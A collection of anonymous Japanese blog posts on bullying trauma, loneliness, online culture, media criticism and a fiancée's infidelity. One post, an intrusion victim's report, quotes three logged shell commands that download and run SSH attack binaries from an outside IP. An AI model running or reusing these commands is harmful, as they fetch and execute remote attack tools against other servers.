思い切り殴られた時より、制服をびりびりに裂かれた時より、この目を見るのが苦痛でした。

苦痛の得ることの出来ない私は、更に酷く、目を覆いたくなるようなことをするようになりました。

自分の苦痛を認めずに、自分をいじめた人間に同情をし始めました。彼等を誰も止められなかったのがいけないのだ、彼等の行いは環境のせいでありもし自分が彼等ならば同じことをしていた、と。傍観して楽しんでいた人達も同様に立場が逆なら私もそうするだろう、と。

苦痛の無いことが私には苦痛なのだ、苦痛を失えば私は私でいられないのだ、と。

今現在私は大学二年生になり、成人を迎えました。

使用期限の過ぎた苦痛に、記号と化してしまった過去の苦痛に相変わらず縋りついています。

行きたくは無かったのですが、身体が限界の様なので、最近になって心療内科に行ってみました。どうやらパニック障害のようです。しかしその症状は殆ど昔からあるもので私には馴染み深いものでした。この機会に精神科に行こうか、とも考えたのですが、この頭を治す気にはなってないのでやめておきました。

すぐに三年生になり、就活が始まります。

私は毎日働いて生きていくことに魅力を感じませんが死にたくはありません。生を望み、相も変わらず自慰をして寝る生活です。

結局私はいつまでも私なのです。変わることなど出来ませんし、忘れることも出来ません。意志も薄弱で、一人の大人としての責任も持てません。

しかし案外明日には希望を持って歩き出すかもしれませんし、誰かと衝撃的な出会いをして価値観が180度変わるかもしれません。

こんな人間になってしまいました。多分私は誰かに決めて貰うのを待っているのでしょう。そしてわかったような顔をして卑下をしながら斜に構えていればいいと考えるのでしょう。

私の苦痛は私だけのものです。他の不幸や苦痛と秤にかけることなど出来ないんだ!、とでも思えばよかったかもしれません。

でも結局子供ですし、そんな考えにはなかなか辿りつきませんよね。大変です人生は。

なんか最後の方で口調が変わっている気がしますし、長ったらしく冗長とした文をたっぷりと書きましたがこれもオナニー好きな私のオナニーです。不幸自慢みたいなのって気持ちいいですよね。書いたら少しすっきりしました。何も解決してませんが。

それよりとにかく幸せになりたいです。でも私の求める幸せがよくわかりません。

こんなクソッタレはもうダメですかね?

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どうしてTwitterで垢BANされたの?(2)

どうしてTwitterで垢BANされたの?

どういう理由かわからないままなので、ここに書く。

今日Twitterで1万人以上のフォロワーのひとが垢BANされたけど、

どういう理由で垢BANされたの?

僕もTwitterやってるけど、垢BANされるのには理由があるはず。

車載クラスタに絡んだせいとかそういうのも目にしたけど、なんか恨まれるようなことしたの?トラブルがあったの?

某ぬーすさいとかんりにんのTwitterの垢BANの理由、流れ、知っている人がいたら教えてほしいです。

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クラッキングされたサーバで実行されていた怪しいコマンドを晒す(3)

クラッキングされたサーバで実行されていた怪しいコマンドを晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバがクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  >/dev/null 2>/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツのサーバからプログラムをダウンロードして実行するみたい。

ちなみに、いろんなサーバにssh接続を試みるプログラムっぽい。

このプログラムたちは2007年の11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApacheを更新しなかった自分が悪いと思っている。

「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

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たくさんいろんなところにも(4)

たくさんいろんなところにも

もう無理だ。今までamazonでなんとかやってきたが近所に店なんかないし、ゲーセンの一つもない。周りにあるのは工場だけ。ぼっちでゲーセン行こうと思えば行けるが10km以上遠いところに行こうなんて思わない。というかそれだけで金がなくなる。

小さい頃から近所に友達どころか同級生の一人もいないという始末でただいるのは年寄りばかり。小学校まで1kmとかふざけんな。コンクリと排ガスだらけで臭い道を通るのはもう飽きた。夏なんかマジ死ねる。暑すぎた。そんなところを独り悲しく話す相手もいなかった。そして家に帰ったらゲームしかしない小学校生活だった。そりゃこんなになるわな。いくらお金があっても買うところがないと買えない。あークレジットカード欲しいー

いまでも腰を据えて話ができる友達はいない。

経験というものが少なすぎる。はー

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ネット上の「オープンなエロ」が不快(6)

ネット上の「オープンなエロ」が不快

はてブトップの新着エントリーに2chまとめのエロ画像スレが毎日のように出る現状というか。

増田に投稿された風俗体験記がホッテントリ入りしたりしちゃう現状というか。

エロってこんなにオープンでいいのかよ、と思う。

正直不愉快なのでゾーニングして欲しい。pixivのように。

風俗に行った話なんて、リアルでは相手を選んでするでしょう?

参加者全員男のぶっちゃけた飲み会とか、そういう場でしかしない話でしょう?

はてブトップに出していいような話じゃないよ。

気色悪いなあ。

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2011.07.29

カオス*ラウンジ騒動への個人的な感想(12)

カオス*ラウンジ騒動への個人的な感想

カオス*ラウンジのアレのどこら辺がここまで激しい敵意を喚起するのかがちょっとわからない。

マジでわからない。

権利処理が緩いこと、訴えれば確実にクロなケースも相当な割合で黙認され続けてることが

同人・ネットを含む豊かな文化の背景にあるのは間違いないように思える。

(中には明示的に許可を出しているところもあるがまだまだ少数派)

やっぱ商売しようとしたというのが致命的なのかなとも思うけど、同人アンソロの商業コミックとかですら

ここまで激しく叩かれたりはしていない。

一次権利者がNGを出したら、二次創作同人だろうとネット上の二次創作絵だろうとコラ絵だろうとカオス作品だろうと、

法的にはほぼ同等に真っ黒になるのがほとんどだと思う。

商売して利益出してるかどうかは権利者側の訴えるかどうかの判断材料になるだけで、

法的な黒白の度合いには基本的には関係がない。(よね?)

「おれら」とは違う高尚ぶった「現代アート」の連中が、表舞台で堂々と「おれら」のネタで商売しようとしてる、

けしからん、みたいな感じなのだろうか。

キュレーターが挑発的な態度・と解釈されうる態度をとったこと、

作家が幼い無防備な反応を返したことが問題を必要以上に悪化させたのだろうか。

そこに限定してならば、まぁ理解出来るんだけど。

でも今回ふたばでキメこな騒ぎが起きるまでって、そもそもカオスの人たちって

「pixivで(主に)二次創作作品を発表してる人たち」であり、位置的には広い意味では上記「おれら」側だと

ネット上でも理解されてたように記憶してるのだけど。

実際に破滅ラウンジの感想とかも「面白い」「分からんけど面白い」「ただただ分からん」の三種類が主で、

今回みたいな敵意をぶつけているものとかほとんど見た記憶がない。

どこで一気に反転して「あいつら」になってしまったんだろう。

やっぱ商売しようとしたことが大きかったのか。

それとも「堂々と」商売しようとしたことがポイントなのか。

「現代アート」というパッケージングが問題だったとか?

今回のコピペ紹介で初めて知って、元ネタへのリスペクトが感じられず馬鹿にされてると感じたとか?

マジでわからない。

これに関連したPixivの対応が最悪だってのには全く留保無く同意出来るけど、あそこの運営がアレなのは

今回の問題以前からずっと一貫しているので、そこには特に理解困難な部分とかはなかったりする。

でもカオスそのものへの敵意の激しさは自分にとっては理解が難しい。

マジで誰か教えて!

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知性 VS 学習(2)

知性 VS 学習

http://d.hatena.ne.jp/nakamurabashi/20110726/1311653472

知性というのは、俺の使いかたにしたがっていえば、社会的な知識や知恵、生きるために必要な能力、対人関係に応ずる能力などとは違う。むしろ俺は、それらを問い直す能力のことを言っている。

最近の学習至上主義に真っ向から喧嘩売る定義。その定義に基づく三段論法がすごく私好み。

理性的でない、というのは、

1.世界に対する自分の比重が大きくなってしまった状態のことだ。年を取ると子供に戻るというのは、このためかもしれない。自他の関係を健全に把握することができない。

(中略)

2、自分が自分であり、社会がこのようであることに疑いを抱いたことのない人。自分が泣き、笑い、怒ることに疑いがなく生きてきたような人。おそらく学習効率の極めていい動物

(中略)

3、悩みや苦しみには、まだ隙間がある。しかし知性を失うことを想像すると、これは真っ暗だ。死にも似ている。(そういうときはだれかがさっくりと刺してくれることを祈りますね。刺されるこっち側に傷口を察知するだけの感受性が残ってればの話ですが。自分を救うだけの知性が残ってればいいですね)

なぜこんなにライフハックを疑わずに信じちゃう人が多いのか。自己啓発で自分を救えると思える人が多いのか、

なんというか自分以外の変数を考慮せずに世界を把握しちゃえる人が多くなってるのかな。よくわからんけど。

あとなんか3までくると、これは曹洞宗の世界ですね。

そして、締めの

特例がないってことほどクソむかつくことはない

がまた好み。 なんだか文章全然違うのに、読後感が冲方丁の小説読んだあとみたいな、やり切れないさわやかさ。

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アメリカのマスコミの低俗っぷりは日本以上、と言う話(6)

アメリカのマスコミの低俗っぷりは日本以上、と言う話

http://business.nikkeibp.co.jp/article/manage/20110726/221679/

http://b.hatena.ne.jp/entry/business.nikkeibp.co.jp/article/manage/20110726/221679/

例のなでしこジャパンに「結婚は?」と聞きまくったマスコミ氏ね話についての日経コラム。

「日本のマスコミはクソだがアメリカのマスコミは素晴らしい」的な内容が含まれており、

ブクマでもそれに触れている人が何人かいるけども。

この「アメリカの番組(CBSテレビの人気バラエティー番組「レイトショー」)」の内容は以下のようなものだったらしい。

(アメリカの選手を呼んで主に試合について聞いた後、最後に)

何と、スタジオの外に出て、目の前の道路をゆっくりとしたスピードでドアを開けて走るイエローキャブの車内めがけて、シュートを放つという荒業に挑んだのである。

 見事“乗車”させた選手に、沿道の人たちから歓声が湧き、拍手喝采。トークもサッカー、締めもサッカー、サッカー三昧で選手たちの魅力を引き出し、番組は終了したのである。

突然イエローキャブが出てくる意味が分からん、と思ったがコメントで解説している人が居た。

コラムに出てくるアメリカの番組は、アメリカらしい、裏の意味を込めたジョーク番組のようです。真面目な顔をしてサッカーの話をし、勝った相手を褒め讃え、最後にイエローキャブにシュートする。。。日米問わず男性なら誰もがイエローキャブが「股の緩い日本人女性」の隠語であることを知っている。そこに玉を蹴り込むのだから、最後に日本人女性を侮蔑してあざ笑い、憂さ晴らしをするという低俗極まる趣向だったのでしょう。

更にこんなコメントも。

宮間選手に敬意を表したソロ選手のコメントを司会者は正面から受け止めることはしなかった。「震災でたいへんな日本に勝たせてやったね(笑)」という司会者のジョークは下卑ていたし、日本製のイエローキャブにボールを蹴り続けるシーンは、「日本」に負けた苛立たしさを悪趣味に演出したものであることは明らかだった。 ボールが車体にボコボコあたる音に「ううん、この音がたまらないねえ」という司会者のコメントも非常に不愉快なものだった。彼女らがこの演出を拒否してくれなかったのかがとても残念だった。

……これが本当だとしたら、まだ日本のマスコミの方がマシなのではないかと思える。

少なくとも日本のマスコミは対戦相手の国をここまで馬鹿にしたり、性的に侮蔑するスラングを利用して貶めたりはしないだろう。

これに協力したアメリカの選手は「嫌だけど空気を読んだ」のか、それとも喜んでこの演出に乗ったのか。

コラムの著者である河合薫はこの番組を見て何も問題を感じなかったのか、

それともコラムの趣旨に反するからスルーしたのか(だとしたら大した「マスゴミ」っぷりだ)、

それともこのコメントが全くの嘘なのか。

(後者は番組の動画でも無い限り検証出来ないが、前者は「yellow cab japanese」とgoogle.comに入力すると

候補に「yellow cab japanese women」と出てくる&検索結果が26万以上出てくる程度には

英語圏でも知られた言葉らしい、と言うのは確認出来る)

つかブクマで一切指摘されていない辺り、誰もコメントまで読んでないのかな。

確かに読みたくなくなるような量ではあるけどさ。

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よくある話。だけど眠れないから書く。長い。(29)

よくある話。だけど眠れないから書く。長い。

付き合って4年の婚約者に浮気をされた。

今月頭に相手の親に挨拶をすませ、今日こちらの親と会う直前で「会えない」と言われる。

訳を聞くと、知人と肉体関係を持ってしまったと。しかも、一度だけでなく。

ふた月ほど前に初めて関係を持ち、先月「職場の人たち数人で旅行に行く」と言っていたのだが、

実はその相手と二人で行ったということだった。

ちなみにその浮気相手は、自分も何度か一緒に遊んだことのある人。

もう確信犯じゃないかと、怒りにまかせ叫びそうになるのを抑え、理由を聞くと

「あんまり会えなくて本当に好きでいてくれるかわからなかった。その相談をしているうちに…。」という答えが。

こりゃ自分にも非あるのかな、と妙に冷静に聞きつつ別れるか、と思ったが、

長く付き合ってきた情や今後の人生を共にしようと覚悟を決めた気持ちを消すことができなかった。

あと、別れてから二人が仲良くやってるのを想像すると、腹立たしさしかでてこなかったのもある。

今後どうしたいのかを確認すると「別れたくない」という答えが。

悩んだ末、ダメな人間だなと思いつつも、

「今すぐに許すことはできない。失った信頼を回復するにはどれだけかかるかわからないけど、

別れたくないという意思があるのなら、それ相応の態度と行動を示して欲しい」と言ってしまった。

出した条件が、

・浮気相手とは、連絡を取らない。二人で会わない。

・いまどこで誰といるかを、常に明確にすること。

の二点。今までで、はじめての束縛。

相手は、もちろん条件を受け入れるということだったので、じゃあ前向きに進もうと心を入れ替えた。

が、やはり怒りは消えていなかった。

とにかく他人と関係を持った肉体のままで、いさせたくなかった。

自暴自棄になっていたのもあるし、相手の別れたくないという言葉もあった。

気がつくと、相手の手をひっぱりラブホテルのある方向へ連れて行こうとする自分がいた。

相手は、拒絶した。いやだと。申し訳ないと。

自分は、あがいた。我ながら、ひどい顔をしていたと思う。

泣いている相手を見て、自分のみすぼらしさに気付き、いま一緒にいてはいけないと思い、今日は帰ることにした。

「いまは、自分の最低な部分しか出てこない。ごめん。」と謝り別れた。

一人になってからは、どうやって浮気相手に報復しようかばかりを考えていた。

婚約中なのは、浮気相手やその周囲は知っている。慰謝料か、と考えていたがそれで気持ちが落ち着くとは思なかったから、

何か方法はないかと考えながら帰宅。怒りは収まらず、さっそくネットで情報を集め対策を練っていた。

そこで相手からの電話。

「許してくれるなら、もう一回頑張ろうと思ったけど気持ちがブレてしまっている。浮気相手の方へ。この気持ちは変わらないと思う。」と。

待てと。待てと。なんだったんださっきのはと思い、だったらしょうがないと言いかけたが、異常なまでにくやしさが出てきた。馬鹿にするなと。

散々嫌味を言いながらも、今すぐ判断はできない、そして自分は別れないようにしたい旨を伝えた。

もう意地しかなかった。

いますぐにわかったとは言えないし、別れないし、とにかく時間が欲しいと先延ばしを提案。

相手はどうすればいいかと困惑していたが、判断がつき次第こちらから連絡すると伝えて電話を切った。

それが、25時ぐらい。とりあえず時間のとれる今週末に、浮気相手と会おうと思っている。

別れるにしても、のうのうと暮らしていけるようにはしたくない。もちろん暴力沙汰にはしない。さて、どうしよう。

悲劇の人ぶっている自分が気持ち悪いと思いながらも、

最後にとった自分の行動に後悔し、いまも全然眠くならない。

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社会-性格相関関係(2)

社会-性格相関関係

千人存在すれば、千通りの考え方があり、誰とて同じ存在は居ないと言えよう。

遺伝子という観点では、双子やクローンであれば同様となる。

だが、心というものは先ず同じではない。

同様の遺伝子を持つ存在に人生を同様の経路で辿らせれば同一人物になるかもしれない。

だが、人生とは不可逆な過程であり、完全な一致はあり得ない。

性格形成というのは生まれ育ちの経路によって確立する。

一方、人格形成は生まれ持った要因によってのみ決まる。

どちらも突き詰めれば、脳内の分泌物と電気信号によるものでしかない。

だが、我々人間の社会に於いては、それ自体に一つの価値を見出してきた。

複雑な事象を主観的に表すことは困難である。

その為、数値化したり、分かりやすいデータにコンパイルし直す必要がある。

5因子モデルがその一例であろう。

NEO-PI-RやFFPQといったモデルがあるが、ここではFFPQについて語ろう。

性格を5つの次元に分類し、それによってその人間を判定する基準である。

これにより、複雑な事象を我々に近くしやすい次元にまで下げる事が出来る。

客観的に人間を見る一つの指標とはなるが、あくまでも客観的にである。

5つの次元以外の要因が絡み合えば、他の次元に何らかの影響があるのかもしれない。

自己を偽ることでそれらを全て好意的な結果に置き換えることも可能である。

だが、別の見方をしてみれば、生まれつきの人格を遺伝子レベルで変えてしまえば、

全てを良い結果として出せるのではないか。

もしそれがまかり通る世の中になれば、世界は大きな転換点を迎えるだろう。

この世に生を受けた瞬間に格差が生じるのだ。

努力次第でなんともならない格差というのは、

時としてナチズムにも似たイデオロギーを生み出す可能性がある。

我々は、神の領域にまで踏み込んではならない。

人間知識の前に、我々はひとつの生物に過ぎないのだ。

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